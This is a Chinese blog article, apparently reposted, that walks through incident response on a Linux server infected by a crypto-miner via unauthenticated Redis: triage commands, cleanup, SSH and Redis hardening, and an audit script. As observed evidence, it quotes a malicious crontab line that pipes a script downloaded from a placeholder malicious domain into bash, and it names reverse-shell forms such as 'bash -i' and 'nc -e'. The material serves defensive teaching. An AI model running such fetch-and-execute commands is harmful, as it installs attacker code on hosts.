文章总结: 本文复盘Linux服务器入侵应急响应,涵盖现场保留、进程网络排查、清除恶意程序及系统加固。提供排查命令与自动化脚本,强调修复Redis漏洞、SSH安全配置及Fail2Ban防护等实战建议,有效应对挖矿与后门攻击。 综合评分: 92 文章分类: 应急响应,安全运营,实战经验,恶意软件,漏洞分析
Linux服务器被入侵后的排查与加固:真实案例复盘
点击关注👉
马哥网络安全
2025年12月23日 17:00 河南
Linux服务器被入侵后的排查与加固:真实案例复盘
一、概述
1.1 背景介绍
去年某个周五的凌晨3点,监控系统疯狂报警,我被电话叫醒。打开电脑一看,生产环境3台服务器CPU使用率全部飙到100%。当时第一反应是业务量暴增?登上服务器一看,top里面赫然躺着几个从没见过的进程名,占用率高达98%。
说实话,那一刻心里是凉的。服务器被黑了。
后来排查发现是挖矿病毒,攻击者通过一个老版本Redis的未授权访问漏洞进来的。这次事件让我们团队彻底重视了安全问题,也积累了一套完整的入侵排查和加固方案。
这篇文章就是把这些血泪教训整理出来,希望能帮到遇到同样问题的兄弟们。
1.2 技术特点
- • 时间敏感性高:入侵排查讲究快准狠,攻击者可能还在线,随时可能清理痕迹或者进一步破坏
- • 需要系统性排查:不能只看一个点,进程、网络、用户、定时任务、启动项都要过一遍
- • 保留证据很重要:别上来就kill进程删文件,先留好证据,后面溯源和报告都要用
1.3 适用场景
- • 场景一:服务器CPU/内存异常飙升,疑似挖矿
- • 场景二:发现可疑进程或异常外连
- • 场景三:收到云厂商安全告警(对外DDoS、挖矿、木马等)
- • 场景四:日志中发现大量异常登录记录
1.4 环境要求
| 组件 | 版本要求 | 说明 | | — | — | — | | 操作系统 | CentOS 7+ / Ubuntu 18.04+ | 本文命令兼容主流发行版 | | 排查工具 | rkhunter, chkrootkit, unhide | 可选,用于深度检测 | | 网络工具 | netstat/ss, lsof | 系统自带 |
二、详细步骤
2.1 应急响应第一步:冷静,别瞎操作
发现服务器可能被入侵后,很多人第一反应是赶紧kill掉可疑进程,或者直接重装系统。千万别这么干。
正确的做法:
1. 评估业务影响,决定是否断网
# 查看当前有多少业务连接
ss -ant | grep ESTABLISHED | wc -l
# 如果是核心生产服务器,不能随便断网
# 如果是可以隔离的服务器,可以考虑断开公网
iptables -I INPUT -j DROP
iptables -I OUTPUT -j DROP
# 但要保留你自己的SSH连接
iptables -I INPUT -s 你的IP -j ACCEPT
iptables -I OUTPUT -d 你的IP -j ACCEPT
2. 保留现场快照
# 备份当前进程信息
ps auxf > /tmp/ps_$(date +%Y%m%d_%H%M%S).txt
# 备份网络连接
netstat -antup > /tmp/netstat_$(date +%Y%m%d_%H%M%S).txt
# 备份定时任务
crontab -l > /tmp/crontab_$(date +%Y%m%d_%H%M%S).txt
cat /etc/crontab >> /tmp/crontab_$(date +%Y%m%d_%H%M%S).txt
ls -la /etc/cron.* >> /tmp/crontab_$(date +%Y%m%d_%H%M%S).txt
# 如果有条件,对整个磁盘做个快照
# 云服务器可以直接在控制台创建快照
2.2 入侵排查流程
◆ 2.2.1 检查异常进程
这是最直观的排查点。挖矿病毒、反弹shell这些基本都会有进程在跑。
# 按CPU使用率排序,看看谁在吃资源
ps aux --sort=-%cpu | head -20
# 按内存排序
ps aux --sort=-%mem | head -20
# 查看完整的进程树,有些恶意进程会伪装成正常服务的子进程
ps auxf
# 重点关注这些可疑特征:
# - 进程名是随机字符串,比如 "aGhsZD"
# - 进程路径在 /tmp、/var/tmp、/dev/shm 下
# - 进程名伪装成系统进程但路径不对,比如 /tmp/sshd
有个坑要注意:有些高级一点的恶意程序会修改进程名。用下面的方法可以看到真实的可执行文件:
# 假设可疑进程PID是12345
ls -la /proc/12345/exe
# 这会显示实际的可执行文件路径
# 查看进程的命令行参数
cat /proc/12345/cmdline | tr'\0'' '
# 查看进程打开的文件
ls -la /proc/12345/fd/
# 查看进程的环境变量
cat /proc/12345/environ | tr'\0''\n'
◆ 2.2.2 检查异常网络连接
挖矿程序需要连矿池,反弹shell需要连C2服务器。检查网络连接能发现很多问题。
# 查看所有网络连接(推荐用ss,比netstat快)
ss -antup
# 只看ESTABLISHED的连接
ss -antup state established
# 查看哪些进程在监听端口
ss -tlnp
# 重点关注:
# - 连接到陌生IP的进程
# - 监听了奇怪端口的进程
# - 大量连接同一个外部IP的情况
用lsof也很好用:
# 查看所有网络连接
lsof -i
# 查看连接到外网的进程
lsof -i @外网IP
# 查看某个进程的网络连接
lsof -p 12345 -i
发现可疑IP后,可以查一下这个IP的归属:
# 查IP归属(需要curl)
curl ip.sb/12.34.56.78
# 或者
curl ipinfo.io/12.34.56.78
◆ 2.2.3 检查异常用户和权限
攻击者经常会创建后门用户,或者给普通用户加sudo权限。
# 查看所有用户
cat /etc/passwd
# 重点关注:
# - UID为0的用户(除了root)
awk -F: '$3==0 {print $1}' /etc/passwd
# - 能登录的用户(shell不是nologin/false)
grep -v '/nologin\|/false' /etc/passwd
# - 新增的用户(按时间排序)
ls -lt /home/
# 检查sudo权限
cat /etc/sudoers
ls -la /etc/sudoers.d/
# 检查SSH公钥(每个用户都要查)
cat /root/.ssh/authorized_keys
for user in $(ls /home); do
echo"=== $user ==="
cat /home/$user/.ssh/authorized_keys 2>/dev/null
done
◆ 2.2.4 检查定时任务
定时任务是恶意程序实现持久化的常用手段。有的挖矿程序每分钟检查自己有没有在运行,没有就重新启动。
# 检查root的定时任务
crontab -l
# 检查所有用户的定时任务
for user in $(cut -d: -f1 /etc/passwd); do
echo"=== $user ==="
crontab -l -u $user 2>/dev/null
done
# 检查系统级定时任务
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
# 查看最近修改的定时任务文件
find /etc/cron* -mtime -7 -type f
# 还有一个容易被忽略的:anacron
cat /etc/anacrontab
# systemd的定时器也要查
systemctl list-timers --all
◆ 2.2.5 检查启动项
开机启动也是持久化的常见手段。
# SysV风格的启动脚本
ls -la /etc/init.d/
ls -la /etc/rc.local
cat /etc/rc.local
# systemd服务
systemctl list-unit-files --type=service | grep enabled
# 检查最近新增或修改的服务
find /etc/systemd/system -mtime -7 -type f
find /usr/lib/systemd/system -mtime -7 -type f
# 用户级别的自启动
ls -la ~/.config/autostart/ 2>/dev/null
◆ 2.2.6 检查系统日志
日志是还原攻击路径的关键。当然,高明的攻击者会清理日志,但大多数自动化攻击工具不会。
# 查看登录日志
last -n 50
lastb -n 50 # 失败的登录尝试
# 查看认证日志
# CentOS/RHEL
tail -500 /var/log/secure | grep -i 'accepted\|failed'
# Ubuntu/Debian
tail -500 /var/log/auth.log | grep -i 'accepted\|failed'
# 查看SSH暴力破解
grep "Failed password" /var/log/secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -20
# 查看系统日志
tail -500 /var/log/messages
journalctl -xe --no-pager | tail -200
# 检查日志有没有被清空(大小突然变很小)
ls -la /var/log/
◆ 2.2.7 检查Rootkit
Rootkit是比较高级的后门,会隐藏进程、文件、网络连接。用专门的工具来检测:
# 安装rkhunter
yum install -y rkhunter # CentOS
apt install -y rkhunter # Ubuntu
# 更新数据库并扫描
rkhunter --update
rkhunter --check --sk
# 安装chkrootkit
yum install -y chkrootkit # 可能需要EPEL源
apt install -y chkrootkit
# 执行检查
chkrootkit
# unhide可以发现隐藏的进程和端口
yum install -y unhide
unhide proc
unhide sys
unhide-tcp
2.3 清除恶意程序
确认了恶意程序的位置后,就可以开始清理了。但要注意顺序,不然可能清不干净。
# 1. 先停掉恶意进程
kill -9 <PID>
# 如果进程杀不掉,可能有守护进程,先找到守护进程一起杀
ps auxf | grep -A5 <恶意进程名>
# 2. 删除恶意文件
rm -f /tmp/恶意文件
rm -f /var/tmp/恶意文件
# 3. 清理定时任务
crontab -e # 删掉可疑条目
rm -f /etc/cron.d/可疑文件
# 4. 清理启动项
systemctl disable 可疑服务
rm -f /etc/systemd/system/可疑服务.service
systemctl daemon-reload
# 5. 清理后门用户
userdel -r 后门用户名
# 6. 清理SSH公钥
vim /root/.ssh/authorized_keys # 删掉不认识的公钥
有个坑:有些恶意程序会用chattr锁定文件,删不掉。
# 查看文件属性
lsattr /tmp/恶意文件
# 如果有i属性,先去掉
chattr -i /tmp/恶意文件
# 然后再删除
rm -f /tmp/恶意文件
2.4 系统加固
清理完之后,必须做加固,不然可能会被同样的方式再次入侵。
# 1. 修改SSH端口,禁止root登录
vim /etc/ssh/sshd_config
# Port 22222
# PermitRootLogin no
# PasswordAuthentication no # 只允许密钥登录
systemctl restart sshd
# 2. 配置防火墙
# CentOS 7+
firewall-cmd --permanent --add-port=22222/tcp
firewall-cmd --permanent --remove-service=ssh
firewall-cmd --reload
# 或者用iptables
iptables -A INPUT -p tcp --dport 22222 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP
# 3. 更新系统和软件
yum update -y # CentOS
apt update && apt upgrade -y # Ubuntu
# 4. 修复漏洞
# 如果是Redis未授权访问,加上密码
vim /etc/redis.conf
# requirepass 你的强密码
# bind 127.0.0.1
# 5. 安装fail2ban防暴力破解
yum install -y fail2ban
systemctl enable fail2ban
systemctl start fail2ban
三、示例代码和配置
3.1 完整排查脚本
这个脚本是我们团队日常用的,一键收集各种信息:
#!/bin/bash
# security_check.sh - Linux安全排查脚本
# 使用方法: bash security_check.sh > check_result.txt 2>&1
echo"========================================"
echo"Linux安全排查脚本"
echo"检查时间: $(date '+%Y-%m-%d %H:%M:%S')"
echo"主机名: $(hostname)"
echo"========================================"
echo""
echo"=== 1. 系统基本信息 ==="
uname -a
cat /etc/os-release 2>/dev/null || cat /etc/redhat-release 2>/dev/null
echo""
echo"=== 2. CPU占用TOP10进程 ==="
ps aux --sort=-%cpu | head -11
echo""
echo"=== 3. 内存占用TOP10进程 ==="
ps aux --sort=-%mem | head -11
echo""
echo"=== 4. 进程树 ==="
ps auxf
echo""
echo"=== 5. 网络连接 ==="
ss -antup 2>/dev/null || netstat -antup
echo""
echo"=== 6. 监听端口 ==="
ss -tlnp 2>/dev/null || netstat -tlnp
echo""
echo"=== 7. UID=0的用户 ==="
awk -F: '$3==0 {print $1}' /etc/passwd
echo""
echo"=== 8. 可登录用户 ==="
grep -v '/nologin\|/false' /etc/passwd
echo""
echo"=== 9. 定时任务 ==="
echo"--- root crontab ---"
crontab -l 2>/dev/null
echo"--- /etc/crontab ---"
cat /etc/crontab
echo"--- /etc/cron.d/ ---"
ls -la /etc/cron.d/
echo""
echo"=== 10. SSH公钥 ==="
echo"--- root ---"
cat /root/.ssh/authorized_keys 2>/dev/null
for user in $(ls /home 2>/dev/null); do
echo"--- $user ---"
cat /home/$user/.ssh/authorized_keys 2>/dev/null
done
echo""
echo"=== 11. 最近登录 ==="
last -n 20
echo""
echo"=== 12. 失败登录 ==="
lastb -n 20 2>/dev/null
echo""
echo"=== 13. 最近7天修改的文件(/tmp /var/tmp /dev/shm)==="
find /tmp /var/tmp /dev/shm -mtime -7 -type f 2>/dev/null
echo""
echo"=== 14. 可疑目录下的可执行文件 ==="
find /tmp /var/tmp /dev/shm -type f -executable 2>/dev/null
echo""
echo"=== 15. 启用的systemd服务 ==="
systemctl list-unit-files --type=service | grep enabled
echo""
echo"=== 16. /etc/rc.local ==="
cat /etc/rc.local 2>/dev/null
echo""
echo"=== 排查完成 ==="
使用方法:
# 下载或创建脚本
vim security_check.sh
# 粘贴上面内容
# 执行并保存结果
chmod +x security_check.sh
./security_check.sh > check_result_$(date +%Y%m%d).txt 2>&1
# 查看结果
less check_result_$(date +%Y%m%d).txt
3.2 实际应用案例
◆ 案例一:挖矿病毒排查
症状:服务器CPU持续100%,top里有个叫kworkerds的进程吃满CPU。
排查过程:
# 1. 看进程详情
ps aux | grep kworkerds
# root 12345 99.0 1.0 xxx xxx ? Ssl 03:00 120:00 /tmp/.X11-unix/kworkerds
# 2. 查看真实路径
ls -la /proc/12345/exe
# /tmp/.X11-unix/kworkerds
# 3. 检查网络连接
ss -antp | grep 12345
# ESTAB 0 0 本机IP:随机端口 矿池IP:3333
# 4. 检查定时任务
crontab -l
# */5 * * * * curl http://恶意域名/xx.sh | bash
# 5. 清理
kill -9 12345
rm -rf /tmp/.X11-unix/
crontab -r # 清空定时任务(先备份)
入侵原因:Redis未授权访问,攻击者通过Redis写入SSH公钥和定时任务。
◆ 案例二:SSH暴力破解
症状:lastb显示大量失败登录,某弱密码账户被攻破。
排查过程:
# 1. 查看暴力破解来源
grep "Failed password" /var/log/secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head
# 12580 45.xxx.xxx.xxx
# 8920 103.xxx.xxx.xxx
# 2. 查看成功登录
grep "Accepted" /var/log/secure | tail -20
# Accepted password for deploy from 45.xxx.xxx.xxx
# 3. 检查该用户的操作历史
cat /home/deploy/.bash_history
# 4. 检查是否留有后门
cat /home/deploy/.ssh/authorized_keys
crontab -l -u deploy
加固措施:
# 1. 禁用密码登录
vim /etc/ssh/sshd_config
# PasswordAuthentication no
# 2. 安装fail2ban
yum install -y fail2ban
cat > /etc/fail2ban/jail.local << 'EOF'
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/secure
maxretry = 5
bantime = 3600
EOF
systemctl restart fail2ban
四、最佳实践和注意事项
4.1 最佳实践
◆ 4.1.1 日常安全加固清单
别等出事了才想起来加固。这些是最基本的:
# 1. SSH安全配置
cat >> /etc/ssh/sshd_config << 'EOF'
Port 22222
PermitRootLogin no
PasswordAuthentication no
MaxAuthTries 3
LoginGraceTime 60
AllowUsers ops deploy
EOF
# 2. 系统账户安全
# 锁定不需要登录的系统账户
for user in bin daemon adm lp sync shutdown halt mail operator games ftp; do
usermod -s /sbin/nologin $user 2>/dev/null
done
# 3. 文件权限加固
chmod 600 /etc/shadow
chmod 644 /etc/passwd
chmod 700 /root
# 4. 重要文件设置不可修改
chattr +i /etc/passwd
chattr +i /etc/shadow
chattr +i /etc/sudoers
# 需要修改时先 chattr -i
◆ 4.1.2 监控告警配置
# Prometheus告警规则示例
groups:
-name:security
rules:
-alert:HighCPUUsage
expr:100-(avgby(instance)(irate(node_cpu_seconds_total{mode="idle"}[5m]))*100)>90
for:5m
labels:
severity:warning
annotations:
summary:"CPU使用率过高,可能存在挖矿"
-alert:SuspiciousOutboundConnection
expr:increase(node_netstat_Tcp_OutSegs[5m])>100000
for:5m
labels:
severity:warning
annotations:
summary:"对外连接异常增多"
◆ 4.1.3 定期安全审计
建议每周跑一次安全检查脚本,结果发邮件或钉钉通知。
# 加到crontab
0 2 * * 1 /opt/scripts/security_check.sh | mail -s "周安全检查报告" [email protected]
4.2 注意事项
◆ 4.2.1 排查注意事项
- • 别用被入侵机器上的命令:攻击者可能替换了ps、netstat等命令,建议从可信源拷贝静态编译的busybox
- • 保留证据:杀进程前先记录PID、内存dump、网络连接
- • 检查其他机器:攻击者可能已经横向移动到其他服务器
◆ 4.2.2 常见错误
| 错误现象 | 原因分析 | 解决方案 | | — | — | — | | 杀掉进程后又自动启动 | 有守护进程或定时任务在监控 | 先清理定时任务和守护进程,再杀主进程 | | 删除文件提示Operation not permitted | 文件被chattr +i锁定 | 先chattr -i解锁再删除 | | 清理后过几天又被入侵 | 漏洞没修复或后门没清理干净 | 彻底排查所有持久化位置,修复漏洞 | | rkhunter报警但看起来正常 | 误报,或者确实有rootkit | 对比多个工具的结果,必要时重装系统 |
◆ 4.2.3 什么时候该考虑重装系统
- • 发现了rootkit
- • 内核模块被替换
- • 排查成本高于重装成本
- • 无法确认是否清理干净
五、故障排查和监控
5.1 日志分析技巧
# 统计登录失败次数TOP20 IP
grep "Failed password" /var/log/secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -20
# 查看某IP的所有操作
grep "192.168.1.100" /var/log/secure
# 分析登录时间规律
grep "Accepted" /var/log/secure | awk '{print $1,$2,$3}' | cut -d: -f1,2 | sort | uniq -c
# 查找日志中的敏感操作
grep -E 'useradd|userdel|passwd|sudo|su ' /var/log/secure
5.2 监控指标
| 指标名称 | 正常范围 | 告警阈值 | 说明 | | — | — | — | — | | CPU使用率 | 0-70% | >90%持续5分钟 | 排除正常业务峰值 | | 异常外连数 | <50/min | >200/min | 可能在扫描或DDoS | | SSH登录失败 | <10/hour | >100/hour | 可能被暴力破解 | | 新增用户 | 0 | >0 | 任何新增都要告警 | | 定时任务变更 | 0 | >0 | 监控crontab变化 |
5.3 告警规则
# 简易监控脚本,可以用cron每分钟跑一次
#!/bin/bash
# 检查CPU是否持续过高
cpu_usage=$(top -bn1 | grep "Cpu(s)" | awk '{print $2}' | cut -d% -f1)
if [ $(echo"$cpu_usage > 90" | bc) -eq 1 ]; then
echo"告警:CPU使用率 ${cpu_usage}%"
fi
# 检查是否有新的ESTABLISHED连接到异常端口
suspicious_ports="3333 4444 5555 6666 7777"# 常见矿池端口
for port in$suspicious_ports; do
count=$(ss -ant | grep ":$port" | grep ESTAB | wc -l)
if [ $count -gt 0 ]; then
echo"告警:发现连接到可疑端口 $port"
fi
done
六、总结
6.1 技术要点回顾
- • 应急响应要冷静:先保留证据,再做清理
- • 排查要系统化:进程、网络、用户、定时任务、启动项、日志,一个都不能少
- • 清理要彻底:注意守护进程、chattr锁定、多个持久化位置
- • 加固是根本:修复漏洞、收紧权限、配置监控
6.2 进阶学习方向
- 1. HIDS部署:建议部署开源的OSSEC或商业的HIDS产品,实时监控
- 2. 日志分析平台:ELK收集所有服务器日志,便于溯源分析
- 3. 安全基线扫描:定期用OpenSCAP等工具做合规检查
- 4. 攻防演练:红蓝对抗,主动发现问题
6.3 参考资料
- • Linux安全加固指南 – CIS Benchmark
- • rkhunter官方文档
- • SANS应急响应手册
附录
A. 命令速查表
# 进程排查
ps aux --sort=-%cpu | head -20 # CPU占用TOP20
ps auxf # 进程树
ls -la /proc/<PID>/exe # 查看进程真实路径
# 网络排查
ss -antup # 所有连接
ss -tlnp # 监听端口
lsof -i # 网络文件
# 用户排查
awk -F: '$3==0 {print $1}' /etc/passwd # UID=0的用户
last -n 50 # 登录历史
lastb -n 50 # 失败登录
# 定时任务
crontab -l # 当前用户定时任务
cat /etc/crontab # 系统定时任务
systemctl list-timers # systemd定时器
# 文件排查
find /tmp -mtime -7 -type f # 最近7天修改的文件
lsattr <file> # 查看文件属性
chattr -i <file> # 解除锁定
B. 常见恶意程序特征
| 类型 | 常见特征 | 示例进程名 | | — | — | — | | 挖矿程序 | CPU满载,连接3333/5555等端口 | kworkerds, ksoftirqd, kdevtmpfsi | | 反弹shell | 建立外连,可能bash/sh/nc进程 | bash -i, nc -e | | DDoS肉鸡 | 大量对外连接 | .sshd, atdd | | SSH后门 | 监听非标准端口 | 伪装sshd |
C. 术语表
| 术语 | 英文 | 解释 | | — | — | — | | 入侵检测 | Intrusion Detection | 识别系统是否被攻击 | | 持久化 | Persistence | 攻击者保持访问权限的手段 | | Rootkit | Rootkit | 隐藏自身的恶意软件 | | C2 | Command & Control | 攻击者的控制服务器 | | 横向移动 | Lateral Movement | 攻击者在内网扩散 | | IOC | Indicators of Compromise | 入侵指标 |
今日福利
为了帮助大家入门网安,给大家推荐一份《新手Web安全入门到精通》,共474页,包括代码审计、web漏洞、靶场实例分析、信息收集、渗透思路等,将Web安全攻防知识点一网打尽。
代码配图,简单明了,攻防思路清晰透彻,关键是里面还配有多张思维导图,通俗易懂,实用性非常强,很适合新手学习参考~
以上资料获取请扫码
识别上方二维码
备注:web安全入门到精通
100%免费领取
(是扫码领取,不是在公众号后台回复,别看错了哦)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:马哥网络安全 点击关注👉《Linux服务器被入侵后的排查与加固:真实案例复盘》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论